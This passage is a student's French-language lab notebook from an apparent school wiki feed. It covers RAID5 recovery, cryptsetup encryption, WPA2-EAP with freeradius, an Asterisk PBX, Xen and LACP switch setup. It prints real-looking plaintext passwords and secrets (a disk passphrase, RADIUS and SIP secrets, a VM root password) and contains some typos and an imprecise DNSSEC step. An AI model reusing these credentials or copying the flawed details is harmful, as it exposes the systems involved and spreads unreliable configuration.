root@Mulan:~# cat /proc/mdstat &lt;br /&gt;
Personalities : [raid6] [raid5] [raid4] &lt;br /&gt;
md0 : active raid5 xvdf1[2] xvde1[1](F) xvdd1[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]&lt;br /&gt;
      &lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
J'ai bien vu que ma partition xvde1 a changé sa mode en Faulty.&lt;br /&gt;
Pour voir comment le raid marche, j'ai fait un remove et add&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# mdadm --remove /dev/md0 /dev/xvde1&lt;br /&gt;
[17940.265360] md: unbind&amp;lt;xvde1&amp;gt;&lt;br /&gt;
[17940.265378] md: export_rdev(xvde1)&lt;br /&gt;
mdadm: hot removed /dev/xvde1 from /dev/md0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# mdadm --add /dev/md0 /dev/xvde1&lt;br /&gt;
[17946.741301] md: export_rdev(xvde1)&lt;br /&gt;
[17946.774588] md: bind&amp;lt;xvde1&amp;gt;&lt;br /&gt;
mdadm: added /dev/xvde1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# [17946.799645] md: recovery of RAID array md0&lt;br /&gt;
[17946.799650] md: minimum _guaranteed_  speed: 1000 KB/sec/disk.&lt;br /&gt;
[17946.799653] md: using maximum available idle IO bandwidth (but not more than 200000 KB/sec) for recovery.&lt;br /&gt;
[17946.799658] md: using 128k window, over a total of 1047552k.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Donc dans mon fichier du système, j'ai vu la statue a été changée&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# cat /proc/mdstat &lt;br /&gt;
Personalities : [raid6] [raid5] [raid4] &lt;br /&gt;
md0 : active raid5 xvde1[3] xvdf1[2] xvdd1[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]&lt;br /&gt;
      [=&amp;gt;...................]  recovery =  9.6% (101696/1047552) finish=0.4min speed=33898K/sec&lt;br /&gt;
      &lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Mulan:~# cat /proc/mdstat &lt;br /&gt;
Personalities : [raid6] [raid5] [raid4] &lt;br /&gt;
md0 : active raid5 xvde1[3] xvdf1[2] xvdd1[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]&lt;br /&gt;
      [=====&amp;gt;...............]  recovery = 29.2% (306320/1047552) finish=0.4min speed=30632K/sec&lt;br /&gt;
      &lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Mulan:~# cat /proc/mdstat &lt;br /&gt;
Personalities : [raid6] [raid5] [raid4] &lt;br /&gt;
md0 : active raid5 xvde1[3] xvdf1[2] xvdd1[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]&lt;br /&gt;
      [===========&amp;gt;.........]  recovery = 55.2% (578592/1047552) finish=0.2min speed=30452K/sec&lt;br /&gt;
      &lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Mulan:~# [17982.504053] md: md0: recovery done.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
La partition xvde1 a été bien réparé.&lt;br /&gt;
&amp;lt;h4&amp;gt;c) Cryptage de données&amp;lt;/h4&amp;gt;&lt;br /&gt;
Pour cette partie il faut créer une unique partition sur la carte SD de l'eeePC.Pour sécuriser la partition en utilisant l'unitaire crytsetup, j'ai commencé par&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@perche:/home/pifou# cryptsetup create card /dev/mmcblk1p1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite j'ai fait&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Saisissez la phrase secrète :&lt;br /&gt;
root@perche:/home/pifou# # la phrase est chencong&lt;br /&gt;
root@perche:/home/pifou# mkfs /dev/mapper/card&lt;br /&gt;
mke2fs 1.42.12 (29-Aug-2014)&lt;br /&gt;
Creating filesystem with 3777536 4k blocks and 944704 inodes&lt;br /&gt;
Filesystem UUID: 344190aa-fc4f-42a1-9241-ac9910bb11aa&lt;br /&gt;
Superblock backups stored on blocks:&lt;br /&gt;
    32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208&lt;br /&gt;
&lt;br /&gt;
Allocating group tables: done                           &lt;br /&gt;
Writing inode tables: done                           &lt;br /&gt;
Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour monter le périphérique, j'ai fait&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@perche:/home/pifou# mount /dev/mapper/card /mnt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour démonter le périphérique,il fallait taper&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@perche:/home/pifou# umount /mnt&lt;br /&gt;
root@perche:/home/pifou# cryptsetup remove card&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour mieux comprendre comment ca marche le cryptage de données, j'ai crée une autre partition qui s'appelle mulan dans /dev/mmcblk1p1 et puis j'ai refait toutes les étapes&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@perche:/home/pifou# cryptsetup create mulan /dev/mmcblk1p1&lt;br /&gt;
Saisissez la phrase secrète :&lt;br /&gt;
root@perche:/home/pifou# mount /dev/mapper/mulan /mnt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans la partition card, j'ai créer un fichier dans /mnt/coffre-fort&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@perche:/home/pifou# echo &amp;quot;gros secret&amp;quot; &amp;gt; /mnt/coffre-fort&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cela me permet de vérifier si je peux le retrouver après. Donc j'ai essayé de le retrouver après monter la partition mulan.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@perche:/home/pifou# ls -l /mnt&lt;br /&gt;
total 20&lt;br /&gt;
-rw-r--r-- 1 root root    12 déc.   7 19:58 coffre-fort&lt;br /&gt;
drwx------ 2 root root 16384 déc.   7 19:53 lost+found&lt;br /&gt;
root@perche:/home/pifou# cat /mnt/coffre-fort&lt;br /&gt;
gros secret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;d) Sécurisation Wifi par WPA2-EAP&amp;lt;/h4&amp;gt;&lt;br /&gt;
Le but de cette partie est de contrôler l’accès à la borne Wifi par WPA2-EAP. Pour réussir cela, j'ai commencé par configuré /etc/freeraduis/eap.conf&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
default_eap_type = mschapv2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite j'ai configuré /etc/freeraduis/users&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Mulan Cleartext-Password := &amp;quot;Chencong&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
J'ai aussi configuré /etc/freeraduis/client.conf&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
client 10.60.1.2/24 {&lt;br /&gt;
       secret          = Mulan&lt;br /&gt;
       shortname       = rex&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois que la configuration de freeraduis était faite, j'ai configuré le point d'accès Wifi. Pour le connecter par ma machine virtuelle il fallait faire&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:/# telnet 10.60.1.6&lt;br /&gt;
Trying 10.60.1.6...&lt;br /&gt;
Connected to 10.60.1.6.&lt;br /&gt;
Escape character is '^]'.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
User Access Verification&lt;br /&gt;
&lt;br /&gt;
Username: Cisco&lt;br /&gt;
Password: &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Après j'ai ajouté les lignes comme montré sur le point d'acces Wifi&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
aaa group server radius radius_mulan&lt;br /&gt;
 server 193.48.57.164 auth-port 1812 acct-port 1813&lt;br /&gt;
!&lt;br /&gt;
&lt;br /&gt;
aaa authentication login eap_mulan group radius_mulan&lt;br /&gt;
&lt;br /&gt;
dot11 ssid Mulan&lt;br /&gt;
   vlan 5&lt;br /&gt;
   authentication open eap eap_mulan &lt;br /&gt;
   authentication network-eap eap_mulan &lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
!&lt;br /&gt;
&lt;br /&gt;
encryption vlan 5 mode ciphers aes-ccm tkip &lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
ssid Mulan&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.5&lt;br /&gt;
 encapsulation dot1Q 5&lt;br /&gt;
 no ip route-cache&lt;br /&gt;
 bridge-group 5&lt;br /&gt;
 bridge-group 5 subscriber-loop-control&lt;br /&gt;
 bridge-group 5 spanning-disabled&lt;br /&gt;
 bridge-group 5 block-unknown-source&lt;br /&gt;
 no bridge-group 5 source-learning&lt;br /&gt;
 no bridge-group 5 unicast-flooding&lt;br /&gt;
!&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.5&lt;br /&gt;
 encapsulation dot1Q 5&lt;br /&gt;
 bridge-group 5&lt;br /&gt;
 bridge-group 5 spanning-disabled&lt;br /&gt;
 no bridge-group 5 source-learning&lt;br /&gt;
!&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite sur eeePC il fallait aussi changer /etc/network/interfaces&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
iface wlan3 inet static&lt;br /&gt;
 address 10.60.5.10&lt;br /&gt;
 netmask 255.255.255.0&lt;br /&gt;
 gateway 10.60.5.1&lt;br /&gt;
 wpa-ssid Mulan&lt;br /&gt;
 wpa-key-mgmt WPA-EAP&lt;br /&gt;
 wpa-eap PEAP&lt;br /&gt;
 wpa-identity Mulan&lt;br /&gt;
 wpa-password Chencong&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;e) Configuration d'un PCBX&amp;lt;/h4&amp;gt;&lt;br /&gt;
Pour réussir cette partie, il faut installer un serveur DHCP sur eeePC&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
apt-get install isc-dchp-server&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut aussi installer un paquetage asterisk sur cet eeePC&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
apt-get install asterisk&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour que tous les téléphones IP puissent s'y enregistrer avec comme numéro de poste des numéros à partir de 100, il faut modifier le ficher /etc/asterisk/sip.conf&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[chencong]&lt;br /&gt;
type=friend&lt;br /&gt;
context=default&lt;br /&gt;
callerid=Chen Cong &amp;lt;71000&amp;gt;&lt;br /&gt;
host=dynamic&lt;br /&gt;
directmedia=yes&lt;br /&gt;
dtmfmode=info&lt;br /&gt;
disallow=all&lt;br /&gt;
allow=ulaw&lt;br /&gt;
allow=alaw&lt;br /&gt;
allow=g723.1&lt;br /&gt;
allow=g729&lt;br /&gt;
secret=mulan&lt;br /&gt;
&lt;br /&gt;
[clara]&lt;br /&gt;
type=friend&lt;br /&gt;
context=default&lt;br /&gt;
callerid=Chen Cong &amp;lt;72000&amp;gt;&lt;br /&gt;
host=dynamic&lt;br /&gt;
directmedia=yes&lt;br /&gt;
dtmfmode=info&lt;br /&gt;
disallow=all&lt;br /&gt;
allow=ulaw&lt;br /&gt;
allow=alaw&lt;br /&gt;
allow=g723.1&lt;br /&gt;
allow=g729&lt;br /&gt;
secret=mulan&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
En meme temps, il faut aussi modifier le fichier /etc/asterisk/extensions.conf. Ce fichier permet d'ajouter des utilisateurs.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
include =&amp;gt; demo&lt;br /&gt;
&lt;br /&gt;
exten =&amp;gt; 71000,1,Dial(SIP/chencong)&lt;br /&gt;
exten =&amp;gt; 72000,1,Dial(SIP/clara)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans le fichier /etc/bind9/db.mulan.website, il faut changer le serial et ajouter un autre nom de domaine.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
42        ; Serial&lt;br /&gt;
&lt;br /&gt;
sip    IN    A    193.48.57.164&lt;br /&gt;
&lt;br /&gt;
_sip._udp    IN SRV    10 1 5060 sip&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Chanque fois après la modification de ce fichier, il faut résigner la zone avec les commandes&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE mulan.website&lt;br /&gt;
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE mulan.website&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour voir les détailles, sur le console j'ai tapé&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
service asterisk start&lt;br /&gt;
asterisk -vvvvv -r&lt;br /&gt;
sip show peers&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Sur le console, j'ai peux voir&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Mulan*CLI&amp;gt; sip show peers&lt;br /&gt;
Name/username             Host                                    Dyn Forcerport Comedia    ACL Port     Status      Description                      &lt;br /&gt;
chencong/chencong         10.60.5.10                               D  Auto (No)  No             5060     Unmonitored                                  &lt;br /&gt;
clara/clara               10.60.5.103                              D  Auto (No)  No             50032    Unmonitored                                  &lt;br /&gt;
2 sip peers [Monitored: 0 online, 0 offline Unmonitored: 2 online, 0 offline]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite pour faire le test il faut télécharger deux application sipdroid(sur le portable HTC) et ekiga(sur eeePC). J'ai essayé d'appeler ekiga avec le portable HTC. Sur le console,j'ai eu&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[Dec 16 16:00:10] NOTICE[5591]: chan_sip.c:27870 handle_request_subscribe: Received SIP subscribe for peer without mailbox: clara&lt;br /&gt;
  == Using SIP RTP CoS mark 5&lt;br /&gt;
[Dec 16 16:01:12] NOTICE[5591][C-000001ba]: chan_sip.c:25652 handle_request_invite: Call from '' (85.25.207.90:5108) to extension '972594105693'   &lt;br /&gt;
rejected because extension not found in context 'public'.&lt;br /&gt;
  == Using SIP RTP CoS mark 5&lt;br /&gt;
[Dec 16 16:02:09] NOTICE[5591][C-000001bb]: chan_sip.c:25652 handle_request_invite: Call from '' (209.126.97.238:5070) to extension '0046184952042' &lt;br /&gt;
rejected because extension not found in context 'public'.&lt;br /&gt;
  == Using SIP RTP CoS mark 5&lt;br /&gt;
    -- Executing [71000@default:1] Dial(&amp;quot;SIP/clara-00000008&amp;quot;, &amp;quot;SIP/chencong&amp;quot;) in new stack&lt;br /&gt;
  == Using SIP RTP CoS mark 5&lt;br /&gt;
    -- Called SIP/chencong&lt;br /&gt;
    -- SIP/chencong-00000009 is ringing&lt;br /&gt;
       &amp;gt; 0x7f3754015760 -- Probation passed - setting RTP source address to 10.60.5.10:5066&lt;br /&gt;
    -- SIP/chencong-00000009 answered SIP/clara-00000008&lt;br /&gt;
    -- Remotely bridging SIP/clara-00000008 and SIP/chencong-00000009&lt;br /&gt;
       &amp;gt; 0x7f3754015760 -- Probation passed - setting RTP source address to 10.60.5.10:5066&lt;br /&gt;
       &amp;gt; 0x7f373c0a8970 -- Probation passed - setting RTP source address to 10.60.5.103:4002&lt;br /&gt;
[Dec 16 16:02:41] WARNING[5591]: chan_sip.c:4035 retrans_pkt: Retransmission timeout reached on transmission b2988c5312894a9e6a8a38767c07cdca for &lt;br /&gt;
seqno 1 (Critical Response) -- See https://wiki.asterisk.org/wiki/display/AST/SIP+Retransmissions&lt;br /&gt;
Packet timed out after 32000ms with no response&lt;br /&gt;
  == Spawn extension (default, 71000, 1) exited non-zero on 'SIP/clara-00000008'&lt;br /&gt;
  == Using SIP RTP CoS mark 5&lt;br /&gt;
    -- Executing [71000@default:1] Dial(&amp;quot;SIP/clara-0000000a&amp;quot;, &amp;quot;SIP/chencong&amp;quot;) in new stack&lt;br /&gt;
  == Using SIP RTP CoS mark 5&lt;br /&gt;
    -- Called SIP/chencong&lt;br /&gt;
    -- SIP/chencong-0000000b is ringing&lt;br /&gt;
  == Spawn extension (default, 71000, 1) exited non-zero on 'SIP/clara-0000000a'&lt;br /&gt;
[Dec 16 16:05:11] NOTICE[5591]: chan_sip.c:27870 handle_request_subscribe: Received SIP subscribe for peer without mailbox: clara&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
J'ai essayé d'appeler le eeePC par mon portable&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:appel1.jpg&lt;br /&gt;
Fichier:call.jpg&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Problème Rencontré=&lt;br /&gt;
Dans ce TP, un moment donné, j'arrivais pas à faire le ping à un routeur par ma machine virtuel. Le problème était que le routeur de l'école n'était pas sur le vlan 130. Donc les paquets ne pouvaient pas passer. Voici un schéma pour expliquer comment ca marche.&lt;br /&gt;
[[Fichier:schema_routage.jpg‎|thumb|center|1200xp|Routage]]&lt;br /&gt;
Donc je peux bien voir qu'il y a une bonne communication entre mon portable et mon eeePC.&lt;br /&gt;
&lt;br /&gt;
=Références=&lt;br /&gt;
Configurations Guide: http://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst3650/software/release/3se/layer2/configuration_guide/b_lay2_3se_3650_cg/b_lay2_3se_3650_cg_chapter_0101.html#task_1275918&lt;br /&gt;
&lt;br /&gt;
Configurations Guide LACP: http://www.cisco.com/c/en/us/td/docs/ios/12_2sb/feature/guide/gigeth.html#wp1087351&lt;br /&gt;
&lt;br /&gt;
LACP: https://fr.wikipedia.org/wiki/IEEE_802.3ad&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B04&amp;diff=39884</id>
		<title>Cahier 2016 groupe n°4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B04&amp;diff=39884"/>
				<updated>2017-03-01T15:57:41Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* Plan des séances */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Plan des séances===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (03/10)&lt;br /&gt;
 | Connaissances du TP/ Recherche des informations de LACP/ Familiarisation avec des équipements &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (10/10)&lt;br /&gt;
 | Installation de la machine virtuelle/ Configuration des commutateurs en LACP&lt;br /&gt;
 |- &lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (13/10)&lt;br /&gt;
 | Configuration des switchports en mode trunk/ Mettre des commutateurs dans la salle technique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (24/10)&lt;br /&gt;
 | Câblages des commutateurs dans la salle locale technique/ Création des LVM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (07/11)&lt;br /&gt;
 | Tests d'intrusion/  Services Internet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (14/11)&lt;br /&gt;
 | Tests d'intrusion (Cassage de mot de passe WPA-PSK par force brute)&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 7 (28/11)&lt;br /&gt;
 | Sécurisation Wifi par WPA2-EAP&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 8 (12/12)&lt;br /&gt;
 | Configuration d'un PCBX&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie I - Réalisation en monome : LACP&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;a) Travail à effectuer&amp;lt;/h4&amp;gt;&lt;br /&gt;
[[Fichier:travail.jpeg‎|thumb|center|1200xp|TP global]]&lt;br /&gt;
Travail principal: Dans un premier temps mon travail principal c'est de faire la connexion entre la salle E306,E304 et mon propre commutateur. Ensuite il faut connecter mon commutateur avec le commutateur de l'école. &lt;br /&gt;
&amp;lt;h4&amp;gt;b) Les matériels nécessaires&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:commutateur.jpeg|Commutateur&lt;br /&gt;
Fichier:LC.jpeg|Adaptateur LC&lt;br /&gt;
Fichier:SC.jpeg|Adaptateur SC&lt;br /&gt;
Fichier:cables.jpeg|Cables&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;c) Le fonctionnement&amp;lt;/h4&amp;gt;&lt;br /&gt;
Dans les images, on peut voir qu'il y deux genres de câbles.Les câbles en rouges sont pour la salle E306 et la salle E304, les câbles en bleus sont pour l'école. Pour communiquer avec mon commutateur il faut brancher les câbles en rouges sur mon commutateur. Ensuite, pour connecter mon commutateur au commutateur de l'école il faut un autre câble. Le LC et le SC sont des adaptateurs.&lt;br /&gt;
&amp;lt;h4&amp;gt;d) La recherche du LACP&amp;lt;/h4&amp;gt;&lt;br /&gt;
LACP (Link Aggregation Control Protocol) est un protocole de niveau 2 du modèle OSI qui permet de grouper plusieurs ports physiques en une seule voie logique.&lt;br /&gt;
La norme décrit l'utilisation de multiples câbles réseau Ethernet ou un port parallèle pour augmenter la rapidité du lien au-delà des limites d'un câble ou d'un seul port, et d'accroître la redondance pour une plus grande disponibilité.&lt;br /&gt;
[[Fichier:LACP.jpeg‎|thumb|center|1200xp|Fonctionnement du LACP]]&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie II - Réalisation de la machine virtuelle&amp;lt;/h2&amp;gt;&lt;br /&gt;
Pour réaliser une machine virtuelle il faut taper la commande comme suit:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
     xen-create-image --hostname=Mulan --ip=193.48.57.164 --netmask=255.255.255.240 --gateway=193.48.57.174 --dir=/usr/local/xen&lt;br /&gt;
                      --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois que ma machine virtuelle est crée j'ai eu des informations comme ci-dessous:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
     Hostname                 :       Mulan&lt;br /&gt;
     Distribution             :       jessie&lt;br /&gt;
     MAC Address              :       00:16:3E:20:B9:4F&lt;br /&gt;
     IP Address(es)           :       193.48.57.164&lt;br /&gt;
     RSA Fingerprint          :       ae:b1:59:03:ad:d1:ac:3b:13:df:fe:94:0a:3b:81&lt;br /&gt;
     Root Password            :       EZ5VWgMP&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite avec la commande ls /etc/xen j'arrive à visualiser les machines crées sur xen&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      Batman.cfg             Gringe.cfg          Orelsa.cfg            xend-config.sxp&lt;br /&gt;
      Deadpool.cfg           Kdoc.cfg            Pnl.cfg               xl.conf&lt;br /&gt;
      Flash.cfg              Lartiste.cfg        scripts               xlexample.hvm&lt;br /&gt;
      Gradur.cfg             Mulan.cfg           Vald.cfg              xlexample.pvlinux&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Après j'ai lancé la commande &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      xl create -c /etc/xen/Mulan.cfg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande est pour visualiser le fichier de ma machine virtuelle Mulan, ici:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      xl --------  Gérer la machine virtuelle&lt;br /&gt;
      create ----- Démarrer la machine virtuelle&lt;br /&gt;
      -c --------  Avoir la console&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut changer certains paramètres de ma machine virtuelle, donc avec vi j'ai accédé à mon fichier. Après les changements, j'ai eu un fichier comme montré:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      #&lt;br /&gt;
      # Kernel&lt;br /&gt;
      #&lt;br /&gt;
      Kernel  = '/boot/vmlinuz-3.14-2-amd64'&lt;br /&gt;
      extra   = 'elevator = noop'&lt;br /&gt;
      ramdisk = '/boot/initrd.img-3.14-2-amd64'&lt;br /&gt;
      vcpus   = '1'&lt;br /&gt;
      memory  = '512'&lt;br /&gt;
      #&lt;br /&gt;
      # Disk device(s)&lt;br /&gt;
      #&lt;br /&gt;
      root = '/dev/xvda2 ro'&lt;br /&gt;
      disk = [&lt;br /&gt;
                      'file:/usr/local/xen/domains/Mulan/disk,img,xvda2,w',&lt;br /&gt;
                      'file:/usr/local/xen/domains/Mulan/swap,img,xvda1,w',&lt;br /&gt;
             ]&lt;br /&gt;
      #&lt;br /&gt;
      # Hostname&lt;br /&gt;
      #&lt;br /&gt;
      name = '/Mulan'&lt;br /&gt;
      #&lt;br /&gt;
      # Networking&lt;br /&gt;
      #&lt;br /&gt;
      vif = [ 'mac = 00:16:3E:20:139:4F,bridge=IMA5sc' ]&lt;br /&gt;
      #&lt;br /&gt;
      # Behavior&lt;br /&gt;
      #&lt;br /&gt;
      on_poweroff = 'destroy'&lt;br /&gt;
      on_reboot   = 'restart'&lt;br /&gt;
      on_crash    = 'restart'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour changer le mot de passe il faut taper '''passwd'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie III - Configuration des commutateurs en mode LACP &amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;a) Travail à effectuer&amp;lt;/h4&amp;gt;&lt;br /&gt;
Principal travail: Dans cette parties il faut que je configures deux commutateurs dans le mode LACP avant que je les branche. Ensuite il faut qu'ils    &lt;br /&gt;
soient reliés par des câbles pour voir s'ils peuvent communiquer ou pas.&lt;br /&gt;
[[Fichier:commu.JPG|thumb|center|600xp|Deux commutateurs]]&lt;br /&gt;
&amp;lt;h4&amp;gt;b) La configuration&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      Switch&amp;gt;            enable&lt;br /&gt;
      Switch#            configure terminal&lt;br /&gt;
      Switch(config) #   interface port-channel 1&lt;br /&gt;
      Switch(config-if)# interface g1/0/1&lt;br /&gt;
      Switch(config-if)# no ip address&lt;br /&gt;
      Switch(config-if)# channel-group 1 mode active&lt;br /&gt;
      Switch(config-if)# exit&lt;br /&gt;
      Switch(config)#    interface g1/0/2&lt;br /&gt;
      Switch(config-if)# no ip address&lt;br /&gt;
      Switch(config-if)# channel-group 1 mode active&lt;br /&gt;
      Switch(config-if)# end&lt;br /&gt;
      Switch#            write&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Petits rappels: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      port-channel -------- interface virtuelle&lt;br /&gt;
      show int summary ---- savoir les informations des ports et vlans du commutateur&lt;br /&gt;
      10 ports ont été configurés ---- de g1/0/1 à g1/0/10&lt;br /&gt;
      il ne faut surtout pas oublier le write ! ---- enregistrer toutes les configurations&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Les memes commandes pour configurer l'autre commutateur sauf que le numéro des ports sont de g0/1 à g0/10.Comme l'autre commutateur est déjà configuré donc avant que j'ai commencé le configurer j'ai supprimé toutes les informations dedans avec '''no vlan x''' Une fois que les configurations sont faites, j'ai lié ces deux commutateurs par des câbles internet.&lt;br /&gt;
[[Fichier:cable.JPG|thumb|center|600xp|Lier les commutateurs]]&lt;br /&gt;
